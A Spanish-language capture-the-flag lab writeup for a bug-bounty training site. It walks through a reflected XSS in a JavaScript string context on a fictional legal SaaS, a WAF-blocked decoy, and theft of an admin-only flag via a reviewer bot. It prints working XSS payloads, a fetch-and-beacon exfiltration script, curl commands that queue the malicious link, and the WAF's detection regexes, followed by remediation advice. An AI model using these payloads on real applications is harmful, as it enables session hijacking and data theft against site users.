Reflected XSS en contexto de string JS + exfiltración vía bot revisor
Portal de Custodia, un SaaS legal-tech de gestión tutelar. Dos páginas legacy reflejan parámetros de URL sin escapar.
Aprende a encontrar este bug
Este bug pagó $300 en YesWeHack.
Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.
- hunters entrenando
- 650
- labs de reportes reales
- 50
- completaciones
- 380
- en bounties practicados
- $200.000
hunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Acceso a todos los labs · sin permanencia · cancela cuando quieras
Hunters que lo han resuelto· 4
Objetivos
Logro que recibirás
Cuando resuelvas este lab desbloqueas este logro compartible
Reflected XSS en contexto de string JS + exfiltración vía bot revisor
Writeups de la comunidad
Custodia es una plataforma legal-tech (SaaS) de gestión tutelar: da servicio a representantes legales —tutores, curadores y defensores judiciales designados por un juzgado— que administran los trámites de personas representadas (adultos vulnerables bajo una medida de apoyo). El portal permite (a) presentar procedimientos judiciales mediante un formulario que se pre-rellena con datos vía parámetros de URL —enlaces que el juzgado o la propia plataforma generan y comparten— y (b) consultar el registro de criterios de admisibilidad de expedientes en una página de búsqueda legacy.
El stack es Express 4.21 + TypeScript 5.7 + better-sqlite3 11.x + React 18 + Vite, con un bot Puppeteer-core in-process, todo en un único contenedor en el puerto 1700. El dashboard autenticado (login, personas representadas, trámites, cola de revisión, lectura del sink) es la SPA React; las dos páginas vulnerables se sirven fuera de la SPA, como HTML crudo con <script> inline, para reproducir con fidelidad la reflexión de parámetros de un portal legacy.
El fallo raíz es el mismo en dos sitios: output encoding roto (CWE-116). Lo interesante —y lo que hace este lab Hard— es la asimetría: un WAF degrada una de las superficies a solo phishing mientras la otra queda como full-XSS.
Capa 1 — DOM XSS en la Superficie A, neutralizada por el gateway (decoy honesto)
GET /procedure/submit (server/src/views/procedureSubmit.ts) sirve un formulario cuyo <script> inline lee doce parámetros p_* (p_case_ref, p_ward_name, p_ward_id, p_court, p_measure_type, p_representative, p_filing_date, p_hearing_date, p_amount, p_currency, p_reference_code, p_notes) de location.search y los inyecta en inputs ocultos vía jQuery .prepend('<input … value="' + val + '">'), sin escapar "/</>. Un breakout de atributo trivial (?p_case_ref="><img src=x onerror=…>) rompería el value=""… salvo que delante está el Custodia Edge Gateway (server/src/middleware/edgeGateway.ts, montado solo sobre /procedure/* en index.ts). El gateway inspecciona la query string cruda —y su forma decodificada— contra tres reglas: on\w+\s*=, <\s*script y javascript:. Cualquier coincidencia devuelve 403 — Request blocked by security gateway con cabecera X-Gateway: edge y ref EDGE-RULE-XSS.
Lo que el gateway no bloquea son los tags inertes (<details>, <summary>, <dialog>, <mark>…), enmarcados en el código como "compatibilidad con plantillas de accesibilidad". Eso deja pasar HTML injection: puedes inyectar un <details open><summary>IMPORTANTE: verifique su identidad</summary>…</details> y montar una superficie de phishing real. Pero ningún JavaScript se ejecuta ahí, así que la Superficie A no captura la flag (CWE-1021 + CWE-693). Un hunter puede quemar media hora intentando bypassear el WAF con mutaciones de event-handler (onbeforetoggle, onpointerrawupdate) o <svg>; el filtro está bien afinado y no cede. La salida no es romper A: es encontrar B.
Capa 2 — Reflected XSS en la Superficie B, contexto de string JS, sin WAF
GET /registry/criteres_v2 (server/src/views/criteresV2.ts) es la página hermana "legacy" (_v2, "migrada a medias"). Refleja seis parámetros —p_name, p_category, p_status, p_court, p_year, p_ref— dos veces. En los value="…" del formulario los pasa por escHtml() (contexto de atributo, seguro), pero en un <script> inline al final de la página los interpola crudos dentro de literales de string:
<script>
var name = '<p_name>';
var category = '<p_category>';
var status = '<p_status>';
…
</script>
Ahí no hay escape de la comilla simple. Un ?p_name=x';…// cierra el literal, inyecta JS arbitrario y comenta el resto. Esa doble reflexión —el mismo valor escapado en el atributo y crudo en el <script>— es exactamente el patrón que engaña: la página "parece" saneada porque el input del formulario se ve escapado. La regla del gateway no cubre /registry/*, y la CSP de esta página es la misma config legacy laxa que la de A: script-src 'self' cdn.custodia-static.test cdn.jqhost.test 'unsafe-inline' 'unsafe-eval', que permite inline y eval. Resultado: reflected XSS single-click con ejecución de JS, mismo root cause que A pero sin el filtro.
Capa 3 — Weaponización + exfil vía el bot revisor
La flag vive solo en GET /api/vault, que devuelve 403 a la sesión del jugador (role=user) y 200 únicamente a role=admin. La única sesión admin del sistema es la del revisor de solicitudes: un bot Puppeteer-core (server/src/bot/reviewBot.ts) que hace login como admin (password crypto.randomBytes(32) rotada por boot, que el jugador nunca conoce), hace polling de GET /api/review/tickets?status=new cada 8 s, y por cada ticket con un link valida que sea same-origin (localhost:1700, 127.0.0.1:1700, custodia:1700 — rechaza off-origin, jamás un SSRF abierto), setea la cookie custodia_session con su JWT admin y navega la URL con un dwell de 3 s.
La cadena: crafteas una URL de la Superficie B cuyo payload haga fetch('/api/vault') en el contexto del bot (autenticado como admin) y balice la respuesta a POST /collect?data=… (o GET /collect?data=… vía new Image().src). Encolas esa URL en POST /api/review/tickets (campo link). El bot la abre, el XSS corre en su sesión admin, el fetch devuelve la flag y la POSTea al sink same-origin. Tú la recuperas en GET /collect/log.
Cadena completa (cinco pasos)
- Login como
attacker@custodia.test / password123. Descubres/procedure/submity/registry/criteres_v2, ambas reflejando parámetros de URL sin escaparlos. - DOM XSS en A → bloqueado por WAF.
curl -i 'http://localhost:1700/procedure/submit?p_case_ref="><img src=x onerror=alert(1)>'→403conX-Gateway: edge. El breakout de atributo funciona a nivel de HTML, pero el gateway cortaon\w+=/<script>. - HTML injection en A (win parcial, NO es la flag). Un payload con tags inertes de la allowlist (
?p_notes=<details open><summary>Verifique su identidad</summary>…</details>) pasa el gateway (200) y renderiza contenido de phishing. Ningún JS se ejecuta → descartas A. - Reflected XSS en B.
http://localhost:1700/registry/criteres_v2?p_name=x';alert(document.domain)//ejecuta JS. Confirmas que la comilla simple no se escapa en el<script>de la página (quedavar name = 'x';alert(document.domain)//';). - Exfil vía el bot. Crafteas la URL de B con el payload de exfil, la encolas para el revisor, esperas ~1-2 ciclos del bot y lees
GET /collect/log→ la flag.
Payload canónico (Superficie B)
http://localhost:1700/registry/criteres_v2?p_name=x';fetch('/api/vault').then(r=>r.text()).then(d=>{new Image().src='/collect?data='+encodeURIComponent(d)});//
Que, al abrirse en el contexto admin del bot, ejecuta:
var name = 'x';
fetch('/api/vault')
.then(r => r.text())
.then(d => { new Image().src = '/collect?data=' + encodeURIComponent(d); });
//';
Flujo manual con curl (autenticado como attacker):
# 1. login → token
TOKEN=$(curl -s -X POST http://localhost:1700/api/auth/login \
-H 'Content-Type: application/json' \
-d '{"email":"attacker@custodia.test","password":"password123"}' | jq -r .token)
# 2. encolar la URL de la Superficie B para el revisor (nota: la comilla y los
# caracteres del payload deben ir URL-encoded dentro del valor de `link`)
curl -s -X POST http://localhost:1700/api/review/tickets \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"title":"Revisión de expediente","link":"http://localhost:1700/registry/criteres_v2?p_name=x%27;fetch(%27/api/vault%27).then(r=>r.text()).then(d=>{new%20Image().src=%27/collect?data=%27%2BencodeURIComponent(d)});//"}'
# 3. esperar 1-2 ciclos del bot (~8-16 s) y leer el sink
sleep 18
curl -s http://localhost:1700/collect/log -H "Authorization: Bearer $TOKEN" | jq
El PoC end-to-end automatizado vive en exploit.py; la verificación en tests/verify.py; el walkthrough interactivo (real-fetch + diagrama + terminal) en /writeup.
Por qué la flag exige la vulnerabilidad
/api/vault devuelve 403 a la sesión del jugador y 200 solo a role=admin. La única sesión admin es la del bot. La flag no está en el bundle cliente, ni en respuestas anónimas, ni en variables de entorno expuestas al navegador: solo se obtiene ejecutando JavaScript en el contexto del bot. La Superficie A es incapaz de hacerlo (el WAF corta todo el JS) → el camino a la flag es forzosamente la Superficie B.
Decoys
- Superficie A completa (el WAF que "protege"): parece full-XSS por el breakout de atributo trivial, pero el gateway la degrada a HTML injection / phishing. Real pero insuficiente para la flag (CWE-693).
GET /registry/search: buscador parametrizado (LIKE ?) que ecoa el término solo dentro de un cuerpo JSON y lo renderiza en la SPA con auto-escaping de React. Parece la superficie inyectable obvia y es inerte.GET /api/files/preview?path=: ecoa unpathsaneado (corta../) en JSON, conContent-Type: application/json, nunca reflejado en HTML. Aparenta path traversal / reflected sink pero no lo es.
Remediación
- Output encoding por contexto. El valor que va a un
value="…"necesita escape de atributo HTML (escHtml, que la página ya aplica en el formulario); el mismo valor dentro devar x = '…'necesita escape de string JavaScript (o serializarlo conJSON.stringifyserver-side). Nunca interpolar input en un literal de string JS crudo. - No confiar en un WAF de firmas como control único. El gateway solo cubre
/procedure/*y solo bloquea event-handlers/<script>; no salva de la Superficie B ni de contextos que no encajan en sus regex. Un WAF es defensa en profundidad, no el arreglo. - CSP restrictiva. Eliminar
unsafe-inlineyunsafe-eval; usar nonces/hashes para los scripts legítimos. Con una CSP correcta, elfetchinyectado no se ejecutaría. - Allowlist estricta del bot (ya es same-origin) y separación de la sesión admin del flujo de revisión — no navegar contenido controlado por el usuario con cookies privilegiadas.
- Autorización server-side en cada endpoint sensible (ya la hay en
/api/vault) y no exponer datos internos a sesiones que abran contenido arbitrario.